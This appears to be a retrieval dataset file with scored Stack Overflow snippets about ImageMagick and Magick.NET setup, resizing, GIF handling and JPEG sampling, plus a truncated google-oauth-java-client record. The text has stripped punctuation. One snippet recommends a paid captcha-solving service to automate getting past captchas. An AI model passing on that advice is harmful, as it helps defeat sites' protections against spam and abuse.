folder of your project .", "Great to know someone else is also using the .NET API", "You should have a look at the FORMULA used by your homebrew-ed installation : .. . .. . This will open a file in a text-editor listing all settings and commands used to build your homebrew-ed ImageMagick .", "3 Go to http : image magick.veidrodis.com image magick binaries and download ImageMagick-6.5.3-10-Q8-windows-dll.exe 4 Run the install accepting all the defaults .", "When I try the following it fails with .net formats Format32bppPARgb and Format32bppARgb but works fine with Format24bppRgb .", "I m trying to write a sample ImageMagick program in Visual Studio 2010 .", "In the first screenshot s title ImageMagick 6.8.6 Q16 32-bit .", "Please note that I have not looked at the ImageMagick libraries so any implementation details in the below code is strictly an example .", "I found the instructions on compiling and building ImageMagick from source but is it possible to change my visual-studio project settings so it can pick necessary references libraries from the already installed version of ImageMagick", "They have a .NET API and they are pretty reliable .", "Or even better c : temp tmp.jpg .. . .. . .. . ImageMagick applies its I want to parse this file as a PDF -mode if it sees the suffix .pdf .", "I have been using ImageMagick command-line tool for jpeg compression of the images .", "Assuming it is exporting valid .NET objects this is how it would work :", "The corresponding method in the .NET bindings is Image.Compare which takes an image and returns a bool .", "Thanks a lot dlmestra in the interest of time I may not be able to utilize that solution given I have taken other means to accomplish my task but I will most definitely take it into consideration should another project require ImageMagick on the Windows platform .", "The version has changed since then but it s probably something called ImageMagick-6.9.0-0-Q16-x86-dll.exe in this page http : www.imagemagick.org script binary-releases.php windows .", "Using Magick.Net Is it possible to convert in memory a Windows bitmap with an Alpha channel to a MagickImage", "The error message is no decode delegate for this image format XWD .", "It reads the stream and tries to determine the format .", "It incorrectly decides that the format is XWD instead of BMP .", "Your code will work in Magick.NET https : magick.codeplex.com 7.0.0.0018 that has not been released at the time of writing .", "Thank you", "That s very helpful .", "Then I write the same image to the output .", "In the output I get a static image without animation .", "as a side note : why do you call image.ToByteArray twice", "save it as a variable for performance .", "This code was just to test this behaviour .", "But anyways thanks .", "A MagickImage is a single image .", "When you read a .gif file you will only get the first frame of that animation .", "If you want to preserve the animation you should create a MagickImageCollection instead .", "I have a big image that I want to resize to 230 320 exactly .", "I want the system to resize it without losing aspect-ratio .", "i.e .", "if the image is 460 650 it should first resize to 230 325 and then crop the extra 5 pixels of height .", "I am doing the following : .. . .. . But the images are not being resized to the exact size 230 320 .", "This is how I solved the issue .", "Thanks Tony", "I ve been looking all over for a solution to this issue and all the answers are related to the command-line utility .", "Many of the commands like convert display montage work fine but animate does not work .", "I ve tried using the --HEAD flag and also uninstalling using brew and reinstalling but the same error still persist .", "homebrew installs binaries programs in usr local bin so anything you are running from opt almost certainly has nothing to do with homebrew .", "Try usr local bin animate instead .", "Also I assume you have installed XQuartz if you plan to use X11 .", "Do you discover anything in there that may disable the building of animate", ".. . .. . Also to check : .. . .. . Did you run brew update", "Did you run brew doctor", "Did you follow all recommendations the brew-doctor told you", "What version of homebrew do you use brew --version", "What is the output of brew --env and brew --config", "Did you install into a non-recommended directory", "I have the following lines-of-code in a function .", "which reads the image from Amazon S3 .", "Image size which i am reading is of 1.37 MB where as when i ran the profiler it says read function in image magick library takes 5.6 mb which is very high .", "Can anyone explain this behaviour", "I am attaching the snapshot of my profiler as well as code .", "enter image description here http : i.stack.imgur.com 2c9N1.png", "Your image-size on disk is not important for the size of the image in memory .", "The amount of memory that is necessary is related to the dimensions width height of your image .", "When the image is loaded the raw data is converted to pixel data .", "For each channel Magick.NET will use either 8 or 16-bit per pixel Q8 Q16 .", "So when you have an image that is 4 channels RGBA and you are using the Q16 version of Magick.NET you will use 64-bits per pixel .", "For an image of 1920x1080 you will need 1920 1080 64 132710400 bits and that is around 16.5 Megabytes .", "The size on disk will be smaller most of the times because most image-formats compress the pixel data when they save it to disk .", "Thanking you for your explanation .", "Could you please also give me some reference for the GO lang for doing the same .", "Moreover performance wise will GO version of Image Magick would be better or Magick.Net", "Can you explain in more detail how does it differ when you store the image in memory as compared to disk .", "Is this in general happen when load the image in memory it bloat up .", "I added a simple explanation to the answer and yes most of the times it will use more in memory then on disk due to compression .", "I have also seen memory utilization keeps on increasing in this code .", "Even after disposing the client and image magick object .", "Could you also please tell the reason why is it so .", "On production server when application-pool recycles on a daily basis .", "It gets reduced .", "Is there any memory leak in the library or this is normal behaviour", "All .. . .. . Env : .net-2.0 x64 build of Magick.NET library .. . .. . I have the following code where I read the .tif file and want to convert it to .pdf .", "I took steps suggested in threads such as this : .. . .. . http : imagemagick.codeplex.com discussions 66874 .. . .. . whereby the .NET DLL is referenced within the project making sure I take note I chose the 16-numbered build then downloading the 6.5.3-10 versioned dependencies from the following link : .. . .. . http : image magick.veidrodis.com image magick binaries .. . .. . which installs the DLLs and places them automatically on the system path so I shouldn t theoretically have to copy the DLL s from the install directory into my project... . but this I also have done in several different locations including the project root bin the Debug and x86 directories etc .", "i was building image convertor app using imagemagix.Net dll and i get this error what ever i do ..the thing the file-exists and even it copies the dll to project debug folder .", "any suggestion why", "error : .. . .. . Source Code :" ] }
{ "confidence": [ 54.0899658203125, 53.74691390991211, 47.549652099609375, 43.757781982421875, 29.330631256103516, 25.69048309326172, 23.040485382080078, 22.654273986816406, 21.26493263244629, 20.768688201904297, 16.181808471679688, 15.088068008422852, 14.822869300842285, 13.811612129211426, 13.300835609436035, 12.29090404510498, 11.14078426361084, 9.61875057220459, 9.61875057220459 ], "content": [ "Question : I m trying to add a custom function to class ImageMagickNet . It should use the IsSimilarImage magick method from the ImageMagick.NET project but I m confused as to whether I have to route this method through the Magick++ as any functionality available to the .NET side originates in the Magick++ . .. . Answer : This is pretty old but as is it unanswered here goes . Please note that I have not looked at the ImageMagick libraries so any implementation details in the below code is strictly an example . Replace rubbish with correct implementation . Assuming it is exporting valid .NET objects this is how it would work :", "Question : null .. . Answer : I m trying to get set up with ImageMagick.NET with Visual Studio 2012 . I ve done much research into what seems to be a common issue whereby Visual Studio is not recognizing the dependencies of ImageMagick.NET it recognizes the .NET DLL just fine judging by the auto complete . I took steps suggested in threads such as this : .. . .. . http : imagemagick.codeplex.com discussions 66874 .. . .. . whereby the .NET DLL is referenced within the project making sure I take note I chose the 16-numbered build then downloading the 6.5.3-10 versioned dependencies from the following link : .. . .. . http : image magick.veidrodis.com image magick binaries .. . .. . which installs the DLLs and places them automatically on the system path so I shouldn t theoretically have to copy the DLL s from the install directory into my project... . but this I also have done in several different locations including the project root bin the Debug and x86 directories etc . I also made sure I was building for x86 machines as that seems to be the only architecture supported by the DLL . Yet despite my measures no dice I would greatly appreciate if someone has any further insight into why this might be happening the way it is . I m building a C project and trying to just initialize the project within a Windows 8 grid app template . Thanks in advance EDIT : I apologize in not being explicit about the error message I am receiving : .. . .. . Exception : Thrown : Could not load file or assembly ImageMagickNET.DLL or one of its dependencies . The specified module could not be found . Comment : I have started a new C library for ImageMagick called Magick.NET . It statically links with ImageMagick so you don t have to install the ImageMagick libraries separately . You can find the project here : magick.codeplex.com https : magick.codeplex.com . Comment : Thanks a lot dlmestra in the interest of time I may not be able to utilize that solution given I have taken other means to accomplish my task but I will most definitely take it into consideration should another project require ImageMagick on the Windows platform .", "Question : I have a big image that I want to resize to 230 320 exactly . I want the system to resize it without losing aspect-ratio . i.e . if the image is 460 650 it should first resize to 230 325 and then crop the extra 5 pixels of height . I am doing the following : .. . .. . But the images are not being resized to the exact size 230 320 . I am using ImageMagick.NET http : imagemagick.codeplex.com in C 4.0 . .. . Answer : This is how I solved the issue . Comment : Thanks Tony I ve been looking all over for a solution to this issue and all the answers are related to the command-line utility . Great to know someone else is also using the .NET API", "Question : I need to do a fuzzy image-comparison in c - I have used ImageMagick.NET for stuff in the past and know it s good for the job . There is a compare command in Image Magick : http : www.imagemagick.org script compare.php .. . .. . And there is a Compare Image reference method in ImageMagick.NET however it seems that it s be hugely simplified so there is no way of getting at the verbose output . I need to be able to get at that so I can match the images using a threshold . Am I missing something - is there a way to get this stuff into ImageMagick.NET if there isn t already I m no C++ dev by a long shot or am I barking up the wrong tree .. . Answer : Pardon me if I don t get your question but won t IsImagesEqual http : www.imagemagick.org api compare.php IsImagesEqual or SimilarityImage http : www.imagemagick.org api compare.php SimilarityImage work IsImagesEqual returns The normalized maximum quantization error for any single pixel in the image . This distance measure is normalized to a range between 0 and 1 . It is independent of the range of red green and blue values in your image . A small normalized mean-square-error accessed as image- normalized mean error suggests the images are very similar in spatial layout and color . The corresponding method in the .NET bindings is Image.Compare which takes an image and returns a bool . However if the result is false - the mean error according to the metric above is set on the current instance s meanErrorPerPixel normalizedMaxError and normalizedMeanError . Aren t these three metrics enough to give you the result-of your fuzzy compare Comment : where did you learn about this also Image doesn t have those properties meanErrorPerPixel normalizedMaxError and normalizedMeanError - where do I fond them Comment : I looked those up from the C C++ API but you re right - those properties have not been exposed as the code Image.h shows here imagemagick.codeplex.com SourceControl changeset view http : imagemagick.codeplex.com SourceControl changeset view 34174 489191 . You will need to add the appropriate code to these bindings in order to use this feature or request the maintainer to do it for you . It should be a fairly simple addition though . Follow the same pattern as the Rows and Height property defined toward the end of that file . Comment : And if you did implement it yourself please provide a patch so the maintainer can add that feature - Comment : Here you go here s a patch with the properties added pastebin.com Rbb8L5RC http : pastebin.com Rbb8L5RC . Download the sources using Subversion also get the binary download this includes the headers . Copy include8 and include16 inside the ImageMagickNET folder that s alongside the sln then simply apply the supplied patch to Image.h and build . I ll contribute this to the maintainer as well . Comment : lol - now that is what it s all about", "Question : Using Magick.Net Is it possible to convert in memory a Windows bitmap with an Alpha channel to a MagickImage When I try the following it fails with .net formats Format32bppPARgb and Format32bppARgb but works fine with Format24bppRgb . The error message is no decode delegate for this image format XWD . .. . Answer : You are getting this exception due to a bug in ImageMagick . It reads the stream and tries to determine the format . It incorrectly decides that the format is XWD instead of BMP . I submitted a patch to the GIT repository of ImageMagick to fix this . Your code will work in Magick.NET https : magick.codeplex.com 7.0.0.0018 that has not been released at the time of writing . Comment : Thank you That s very helpful .", "Question : I am installing ImageMagick with Homebrew by doing brew install imagemagick --with-x11 . Many of the commands like convert display montage work fine but animate does not work . I ve tried using the --HEAD flag and also uninstalling using brew and reinstalling but the same error still persist . Comment : homebrew installs binaries programs in usr local bin so anything you are running from opt almost certainly has nothing to do with homebrew . Try usr local bin animate instead . Also I assume you have installed XQuartz if you plan to use X11 . .. . Answer : You should have a look at the FORMULA used by your homebrew-ed installation : .. . .. . This will open a file in a text-editor listing all settings and commands used to build your homebrew-ed ImageMagick . Do you discover anything in there that may disable the building of animate .. . .. . Also to check : .. . .. . Did you run brew update Did you run brew doctor Did you follow all recommendations the brew-doctor told you What version of homebrew do you use brew --version What is the output of brew --env and brew --config Did you install into a non-recommended directory Looks like looking at your attempt to run opt ImageMagick bin animate .. . .. . .. . Did you try ls -l opt local ImageMagick bin grep animate", "Question : I am reading a GIF image and creating the ImageMagick object in C . Then I write the same image to the output . In the output I get a static image without animation . Comment : as a side note : why do you call image.ToByteArray twice save it as a variable for performance . Comment : This code was just to test this behaviour . But anyways thanks . .. . Answer : A MagickImage is a single image . When you read a .gif file you will only get the first frame of that animation . If you want to preserve the animation you should create a MagickImageCollection instead .", "Question : I have the following lines-of-code in a function . which reads the image from Amazon S3 . Image size which i am reading is of 1.37 MB where as when i ran the profiler it says read function in image magick library takes 5.6 mb which is very high . Can anyone explain this behaviour I am attaching the snapshot of my profiler as well as code . enter image description here http : i.stack.imgur.com 2c9N1.png .. . Answer : Your image-size on disk is not important for the size of the image in memory . The amount of memory that is necessary is related to the dimensions width height of your image . When the image is loaded the raw data is converted to pixel data . For each channel Magick.NET will use either 8 or 16-bit per pixel Q8 Q16 . So when you have an image that is 4 channels RGBA and you are using the Q16 version of Magick.NET you will use 64-bits per pixel . For an image of 1920x1080 you will need 1920 1080 64 132710400 bits and that is around 16.5 Megabytes . The size on disk will be smaller most of the times because most image-formats compress the pixel data when they save it to disk . Comment : Thanking you for your explanation . Could you please also give me some reference for the GO lang for doing the same . Moreover performance wise will GO version of Image Magick would be better or Magick.Net Comment : I don t have experience with the GO wrapper for ImageMagick and you will probably have to do the performance comparison yourself . Comment : Can you explain in more detail how does it differ when you store the image in memory as compared to disk . Is this in general happen when load the image in memory it bloat up . Comment : I added a simple explanation to the answer and yes most of the times it will use more in memory then on disk due to compression . Comment : I have also seen memory utilization keeps on increasing in this code . Even after disposing the client and image magick object . Could you also please tell the reason why is it so . On production server when application-pool recycles on a daily basis . It gets reduced . Is there any memory leak in the library or this is normal behaviour", "Question : I m trying to write a sample ImageMagick program in Visual Studio 2010 . I have binary distribution of ImageMagick already installed on my system as I can use command-line interface of ImageMagick . However when I try to include Magick++.h in my C++ program it says it can t open-source file . I found the instructions on compiling and building ImageMagick from source but is it possible to change my visual-studio project settings so it can pick necessary references libraries from the already installed version of ImageMagick .. . Answer : I am by no means an expert but here is what worked for me : .. . .. . Using Windows7 Professional and Visual C++ Express 2010.. . I checked the Install development headers and libraries for C and C++ .. . .. . install http : i.stack.imgur.com 6po5D.jpg .. . .. . At the end of the install I got these two folders . Magick++.h lies inside include . enter image description here http : i.stack.imgur.com lKiMp.jpg .. . .. . Be sure to set up your projects Additional Library Locations and Additional Include Directories and you should be able to compile your program . Additionally : The manual suggests you need to do this for your program to work but I did not and it still worked : .. . .. . And during my brief test I found that Magick : : Image : : Magick which changes image-formats does not work in Debug mode . It does work in Release mode though . Comment : Where the hell did you get that setup I downloaded the imagick zip archive bit there s nothing but a bunch of .bat files that produce errors and bunch of projects that can t be compiled.. . Comment : I used an installer . In the first screenshot s title ImageMagick 6.8.6 Q16 32-bit . The version has changed since then but it s probably something called ImageMagick-6.9.0-0-Q16-x86-dll.exe in this page http : www.imagemagick.org script binary-releases.php windows . Comment : I ve found it already but thank you anyway . It was incredibly hard struggle to get this library to work and it s still not completely working . Comment : I know this is very old but @Tom Zato were you ever able to get it to work I m trying to use it with VS2015 and I get an assortment of errors . Unexpected token preceding syntaxerror : missing before Identifier MagickBooleanType and so forth . Comment : @Goodies Yes I did manage to create gif images only . I have no idea how did I do it .", "Question : i was building image convertor app using imagemagix.Net dll and i get this error what ever i do ..the thing the file-exists and even it copies the dll to project debug folder . any suggestion why error : .. . .. . Source Code : Comment : You are probably missing a reference to a required assembly . Check to see what DLLs are required by ImageMagickNET.dll Comment : ya thats the thing its not missing i checked by using View using Object Brouser if it actually doesnt exist VS shows a yellow error icon . Comment : I don t mean that ImageMagickNET.dll reference is missing . I mean that there may be other DLLS like for example : System.Web that ImageMagickNET.dll needs that are not referenced in you project . .. . Answer : IT s Long Way Process i was just trying to convert compressed Tiff image to uncompressed 200dpi image.. . anyways the solution to this problem is this. . Fabiobr s instructions worked perfectly for me with one little addon so I m going to sum up here : I m using the 8-bit version.. . just substitute 16 wherever the instructions refer to 8 below .. . .. . 1 Download this project and unzip it anywhere . 2 In your project make a reference to the ImageMagickNET.dll in the bin Q8 folder . 3 Go to http : image magick.veidrodis.com image magick binaries and download ImageMagick-6.5.3-10-Q8-windows-dll.exe 4 Run the install accepting all the defaults . 5 Copy ALL the DLL s in C : Program Files ImageMagick-6.5.3-Q8 to the ROOT folder of your project . not the bin folder 6 Set Copy to Output Directory to Copy always .. . .. . If you copy the DLL s to the bin folder they will not be in the same folder as the executable when you debug or publish and will get this error . By copying them to the root folder they will be copied to the same directory as the executable . Now if only the help docs were better.. .", "Question : Here is the code in question : .. . .. . I m fairly certain this code should work but I get the exceptionally informative exception of : External component has thrown an exception . .. . .. . This exception is thrown on the line : ImageMagickNET.Image image new ImageMagickNET.Image @ C : temp.pdf .. . .. . InnerException : null .. . .. . StackTrace : .. . .. . Anyone have any idea what I might be doing incorrectly Comment : Any inner exceptions Stack trace Comment : @Oded Sorry about that . Added both to original post . Comment : Why are you trying to load a PDF file into an image-manipulation library Does the file actually exist in that location Comment : @Oded I am trying to convert a pdf to a jpg . This code was taken from an example that claimed to do the job . The file does exist in that location . .. . Answer : You seem to declare your image new as a .pdf file in your 2nd quoted line . Better try it with c : tmp.jpg . Or even better c : temp tmp.jpg .. . .. . .. . ImageMagick applies its I want to parse this file as a PDF -mode if it sees the suffix .pdf . It applies its magic file-type discovery routines only if the filename doesn t have a suffix . Also the user that is running the code possibly cannot write the file c : tmp.jpg . There could be two reasons : .. . .. . 1 . c : as a directory is not writeable for this user . 2 . the file already exists and can t be overwritten by this user it may belong to another user . Lastly be aware that ImageMagick s capability to process PDFs as input relies on an external delegate : it can t do that job itself it requires a Ghostscript installation on the same host to call it and let it do the job.. . Comment : Thank you very much for your comment . When I return to work on Monday I will apply it to my issue . You seem to be very knowledgeable about this issue and I was wondering if you could lend me some quick advice . All I am trying to do is convert several 1 page PDFS to images . I need to process the images but don t even care about saving them . Am I going about this the correct way or would you suggest a different solution Thanks again Comment : Also the running code is not editing a file in c : . I just edited the path for this question . Comment : So what are you trying to do with those images if they are not saved What kind of further processing Have you considered to do that in a pipeline Comment : I am scanning them for QR codes . The QR decoding library that I am supposed to use only accepts images . I just need to read the QR codes then name the PDFs based on the info encoded in them . Comment : So you could work with a pipe or FIFO to get the image from instead of a file handle", "Question : null .. . Answer : another subject could be : How do i crop a t-shirt out of a pattern image image is big enough we have huge printers .. . .. . Everyone .. . .. . Could you please guide me on what the commands would be to do a cut of an image . Im new to ImageMagic and did not see anything that was exactly only partially to handle my issue . We get already presized image files to go on a mens or womens tshirt soon dress . To save spraying all the ink we would like to cut the image to predefined coordinates for each size and type . How do I first determine given a template files all the coordinates and create commands for each size and style . Will this work in .NET I can still work with php and c++ if you prefer . Here is a link-to an example of what needs to be done . http : www.relationship1.com help.zip .. . .. . Inside help.zip is .. . .. . STYLE1 XS TEMPLATE FILE PDF.pdf outline of what needs to be CROPPED out for this size and style STYLE1 XS asset before.png this is the image before STYLE1 XS TEMPLATE FILE PHOTOSHOP METHOD.ODS this is some photoshop file they use to do this manually with there is some hidden layer in here STYLE1 XS TFILE PDF WITH IMAGE AND TEMPLATE.pdf this is what the step would look like right before its completed STYLE1 XS TT asset completed.png this is the desired input Comment : I don t think anyone wants to download zip files and wade through PDFs and Photoshop details and understand your product ranges sizes and catalogue . You need to make a minimal simple repeatable example of a programming question to fit well on StackOverflow . Comment : really the only contents that are necessary to understand are the two png files", "Question : Using vb.net how to extract text from captcha images Comment : This is not how things are done here . Please read our FAQ http : stackoverflow.com faq to see what kinds of answers are accepted here . Comment : Isn t the precise purpose of captcha images that you should not be able to easily get the text from them using any programming language and avoid hacking and spamming I guess we re not on the same team here.. . .. . Answer : A little research on your part can go a long way . To answer your question there is a service called Death By Captcha http : www.deathbycaptcha.eu . They have a .NET API and they are pretty reliable . Here is sample C code for decoding a captcha : .. . .. . Easy to translate to VB Comment : no i want without using any API Comment : Good luck . This was the cheapest easiest solution I found to automate what I needed .", "Question : I have been using ImageMagick command-line tool for jpeg compression of the images . However I m trying to understand the role of sampling factor . It says the sampling factor is used to specify the block size i.e . 8x8 or 16x16 . However I can t find the default values used if I omit this parameter . Also I tried fetching properties of an image by using the following command : .. . .. . identify -verbose image.jpg .. . .. . It shows sampling factor values as 1x1 1x1 1x1 . What does it mean Either it should be 8x8 or 16x16 or 32x32... . .. . .. . Could anyone please give me an idea where to find these details .. . Answer : From ImageMagick s command-line options http : www.imagemagick.org script command-line-options.php sampling-factor : .. . .. . -sampling-factor .. . .. . This option specifies the sampling factors to be used by the JPEG encoder for chroma downsampling . If this option is omitted the JPEG library will use its own default values . Here is a good thread. . on Knowing which chroma-subsampling was used in a JPEG http : www.wizards-toolkit.org discourse-server viewtopic.php f 1 t 17145 .. . .. . Chroma Subsampling in JPG Compression http : users.wfu.edu matthews misc jpg vs gif JpgCompTest JpgChromaSub.html .. . .. . I hope this helps : Comment : Thank you for posting these useful links . I m actually trying to correlate it with the following definition I found . -sampling-factor horizontal x vertical Adjust the sampling factor used by JPEG library for chroma down sampling . This can be set to 2x1 for creating MPEG-2 animation files . 2x2 1x1 1x1 is IM s standard sub-sampling method and corresponds to 4 : 2 : 0 see Wikipedia Chroma Sub-Sampling . However when quality is 90 or higher the channels are not sub-sampled . Basically it will define whether the processing block or cell size is 8 pixels or 16 pixels . Comment : Does -sampling-factor 1x1 mean 8x8 block size and 2x2 mean 16x16 block size . Or I m not understanding it correctly Comment : From : ftgimp.com help C filters jpeg.html http : www.ftgimp.com help C filters jpeg.html 2x2 1x1 1x1 downsamples both the Cr and Cb channels by half dougkerr.net pumpkin articles Subsampling.pdf http : dougkerr.net pumpkin articles Subsampling.pdf Starting on page 9 there is some good info. . there are four 8-bit values designated H1 V1 H2 V2 H3 and V2 . Each pair e.g . H1 and V1 is listed in the portion of the marker pertaining to one of the three components of the image Y Cb and Cr . H1 V1 H2 V2 H3 V3 J : a : b h v 2 2 1 1 1 1 4 : 2 : 0 2 2 YCbCr 2x1 1x1 1x1 where the six numerical values are H1 V1 H2 V2 and H3 V3 Comment : From what I could find jpegs are 8x8.. . the 16x16 16x8 is for movies not images . 8x8 works for movies also . So I think the answer to the question is 2x2 1x1 1x1 is not directly related to 8x8 vs 16x16 . white.stanford.edu brian psy221 reader Wallace.JPEG.pdf http : white.stanford.edu brian psy221 reader Wallace.JPEG.pdf There is no reference to 16x16 in the JPEG standard . Comment : Minimum coded unit the pixel block size of JPEG image used for coding usually 8 8 pixels for grayscale and 4 : 4 : 4 format and 16 16 pixels for YCbCr 4 : 2 : 0 color JPEG image . From en.wikipedia.org wiki MCU http : en.wikipedia.org wiki MCU . I was wrong about only 8x8.. . but you re right. . not much data out there on this . Since we know 2x2 1x1 1x1 4 : 2 : 0. . then 16x16 it is", "Question : All .. . .. . Env : .net-2.0 x64 build of Magick.NET library .. . .. . I have the following code where I read the .tif file and want to convert it to .pdf . image.Read throws MagickCoderErrorException and the inner-exception is MagickCoderWarningException complaining about : .. . .. . ImageMagick.vshost.exe : Unknown field with tag 32934 0x80a6 encountered . TIFFReadDirectory @ warning tiff.c TIFFWarnings 880 .. . .. . You can clearly see in my code that I instructed the library to ignore this tag and still I get this exception . Why Btw when I catch the exception and do nothing and call image.Write my.pdf I get a pdf generated but I don t want to be simply ignoring exceptions if I am doing something wrong . .. . Answer : All .. . .. . This issue was fixed by having the author add support for ignoring tags in the Magic.net library check release Magick.NET 7.0.0.0018 .", "Question : All .. . .. . Env : .net-2.0 x64 build of Magick.NET library .. . .. . I have the following code where I read the .tif file and want to convert it to .pdf . image.Read throws MagickCoderErrorException and the inner-exception is MagickCoderWarningException complaining about : .. . .. . ImageMagick.vshost.exe : Unknown field with tag 32934 0x80a6 encountered . TIFFReadDirectory @ warning tiff.c TIFFWarnings 880 .. . .. . You can clearly see in my code that I instructed the library to ignore this tag and still I get this exception . Why Btw when I catch the exception and do nothing and call image.Write my.pdf I get a pdf generated but I don t want to be simply ignoring exceptions if I am doing something wrong . .. . Answer : It looks like the Error Exception was thrown because the Warning Exception wasn t handled correctly . Your application should except Warning Exceptions as this is a common message when working with proprietary non-compliant or just odd images . Why I would highly recommend jumping over to ImageMagick s forums http : www.imagemagick.org discourse-server index.php and discover why this is expected behavior . But don t be put-off or discourage if the only response is That s fine or Just ignore that . Comment : Your code will not work since the warning exception is an inner-exception of the MagickException . I don t know what you mean by this : It looks like the Error Exception was thrown because the Warning Exception wasn t handled correctly . According to documentation ignoring specified tags should have silence warning exceptions which it doesn t . I have added similar code where I catch the root exception check the inner-exception and see if it is warning exception and ignore it but that s expensive when those exceptions occur ideally you don t exceptions to be thrown .", "Question : null .. . Answer : I am generating gif animation from existing images using magic.net Magick.NET library . It s working well . Now what I am trying to achieve is to put the generated gif into some box frame like in the picture below . So the gif to be animated inside this pic . One way could be to apply this frame to each existing photo and then generate the final gif which is working now . But Can I apply it directly to gif and still maintain the animation enter image description here http : i.stack.imgur.com Yfesc.jpg Comment : what happens if you just try it. . Comment : try what ..... . Comment : try putting the image in the frame that s what. . Comment : Did you read the question I tried and did it . Now I want to achieve that same goal through different approach which is to apply frame to the final result only Comment : Read the FAQ for how to use downvote . And explain it too please", "Question : null .. . Answer : I am looking for a floating-point multiplication operation in Image Magick . Can you some one please help me . I tried the regular multiplication but it does not give desired result . I tried multiple in Image J and it gave the desired result . I figured out that ImageJ is using floating-point multiplication and hence able to give desired result but i am not able to find floating-point multiplication command in Image Magick . Please help . This is the command I m using currently using : .. . .. . For ImageJ I m using Process- Image Calculator Comment : Not sure what you are doing without seeing your input images and expected results but try adding these in near the start of the command -define quantum : format floating-point -depth 32", "Question : null .. . Answer : I downloaded the ImageMagickNET dll from here http : imagemagick.codeplex.com and added as reference the file ImageMagickNET.dll from the folder bin- ReleaseQ16 inside the .zip the file is shown in the Solution Explorer : enter image description here http : i.stack.imgur.com GnF6I.png .. . .. . But when I look at the references part in the Property Pages window of the solution the dll does not appear : enter image description here http : i.stack.imgur.com 4YNwB.png and I cannot use any method or make any reference to it in my code is like it does not exists I have searched about this issue but found nothing any ideas why this is happening am I missing something Many thanks in advance . Comment : Did you place the file in the folder or did you actually add the file as a reference right-click your project -- Add -- Reference Comment : I added the reference with project -- Add -- Reference ." ] }
[ "yes-answer-long", "yes-answer-short" ]
image-manipulation
UNK_RELATION
google-oauth-java-client@java@96
google-oauth-java-client -- for questions about the use of the google-oauth client library for @placeholder .
{ "confidence": [ 57.75390625, 56.09642791748047, 54.189701080322266, 49.07427978515625, 48.28030014038086, 46.796852111816406, 46.07332229614258, 44.58456039428711, 44.14748764038086, 44.09136962890625, 42.623226165771484, 41.6861457824707, 40.77239990234375, 40.24775314331055, 40.21076965332031, 40.0159912109375, 39.81388473510742, 39.58404541015625, 39.45629119873047, 39.44038772583008, 39.22621536254883, 38.79509735107422, 38.53034210205078, 37.918006896972656, 37.15445327758789, 36.72797775268555, 36.15355682373047, 35.45768356323242, 34.68650817871094, 34.5298957824707, 34.173728942871094, 34.173728942871094, 33.54654312133789, 33.38023376464844, 33.07811737060547, 32.439125061035156, 32.062538146972656, 31.655651092529297, 31.345355987548828, 31.25963592529297, 31.101070404052734, 30.845489501953125, 30.843971252441406, 30.60931396484375, 30.14090347290039, 30.132923126220703, 30.044048309326172, 29.949565887451172, 29.94736099243164, 29.539566040039062, 29.484375, 29.12527084350586, 29.083999633789062, 28.729963302612305, 28.588191986083984, 28.582992553710938, 28.545852661132812, 28.436389923095703, 28.276565551757812, 28.276565551757812, 28.257911682128906, 28.25448989868164, 28.212242126464844, 28.078731536865234, 28.00576400756836, 27.885818481445312, 27.781261444091797, 27.77130889892578, 27.35649871826172, 27.277141571044922, 27.277141571044922, 27.277141571044922, 26.876903533935547, 26.876903533935547, 26.545791625976562, 26.4141845703125, 26.396957397460938, 26.396957397460938, 26.31391143798828, 26.179729461669922, 26.099002838134766, 25.89175796508789, 25.888935089111328, 25.875930786132812, 25.694236755371094, 25.66022491455078, 25.620079040527344, 25.616779327392578, 25.483928680419922, 25.483928680419922, 25.483928680419922, 25.483928680419922, 25.260208129882812, 25.260208129882812, 25.203903198242188, 25.203903198242188, 25.203903198242188, 25.203903198242188, 25.157503128051758, 24.927562713623047 ], "content": [ "Notes for v1.47.0 .. . .. . o Add OAuth 2.0 support leveraging Google OAuth Client for Java http : code.google.com p google-oauth-java-client .", "I am using the Google OAuth 2.0 Java Client Library .", "https : code.google.com p google-oauth-java-client wiki Samples .. . .. . Can I use Credential from Google-Oauth-api or GoogleCredential", "Not sure what the problem is here hopefully someone watching the google-oauth or google-oauth-java-client tags can provide some insight then .", "I downloaded the Google Oauth Client Library for JAVA https : code.google.com p google-oauth-java-client but I reading through the documentation I don t understand how I can get a SteamID for a user using this library .", "I have implemented GOOGLE OAuth using JAVA Web Server .", "The non-modified source for LocalServerReceiver can be found here : https : code.google.com p google-oauth-java-client source browse google-oauth-client-jetty src main java com google-api-client extensions jetty auth oauth2 LocalServerReceiver.java r 2624919183758196142f47c414e71db685e77de2", "See javadoc.google-oauth-java-client.googlecode.com hg 1.18.0-rc http : javadoc.google-oauth-java-client.googlecode.com hg 1.18.0-rc com google-api-client auth oauth2 Credential.html", "We are using the Google oauth Java client libs in our server-side app if that makes any difference .", "The closer one is : github.com google google-api-java-client issues 932 https : github.com google google-api-java-client issues 932", "This 1 is the 2LO OAuth 2.0 implementation of Google OAuth you can use on App Engine and is usually refereed as the OAuth for Server to Server Applications on public documentation .", "unless you register the oauth-client.. .", "In those use cases Google OAuth is used to authorize the web server to undertake some action in the user s Google account .", "I have an application which integrates with a Google Apps for Work domain and requires to be migrated from oauth 1 to oauth 2 .", "To create the Authorization header I use Google s Java client library 1.0 the same I use in the application to talk to google-calendar .", "Two popular libraries are : .. . .. . Google OAuth2 API Libraries for Java https : developers.google.com api-client-library java apis oauth2 v1 : focused on Google OAuth2 APIs .. . .. . Apache Oitu http : oltu.apache.org : OAuth OAuth2 protocol implementation in Java .", "1 https : developers.google.com accounts docs OAuth2ServiceAccount .. . .. . 2 https : developers.google.com api-client-library java google-api-java-client app-engine", "I have created an OAuth service account and a P12 file using the Google Developers Console .", "I ve created an issue : code.google.com p google-api-java-client issues detail id 913 https : code.google.com p google-api-java-client issues detail id 913", "I m afraid it is an open issue for the GoogleApi java library : github.com google google-api-java-client issues 932 https : github.com google google-api-java-client issues 932 please share if you have any solution .", "I am able to get the access token from google oAuth UI .", "Select Manage third party OAuth Client access in the Authentication section .", "I am having issues connecting to the Google Contacts API with Java using OAuth 2.0 .", "Create an OAuth client as a service account APIs auth - Credentials - Create new Client ID .. . 4 .", "RequestHandler https : code.google.com p google-api-java-client source browse google-api-client-android src main java com google-api-client googleapis extensions android gms auth GoogleAccountCredential.java r 073d519838c0b49006285d557992fc1d2f6d2a84 271 .. . .. . because I can t get token https : code.google.com p google-api-java-client source browse google-api-client-android src main java com google-api-client googleapis extensions android gms auth GoogleAccountCredential.java r 073d519838c0b49006285d557992fc1d2f6d2a84 279 for seventh request and application always freezes in this point under debugging .", "If you don t get a response on SO try posting to groups.google.com forum forum google-api-java-client https 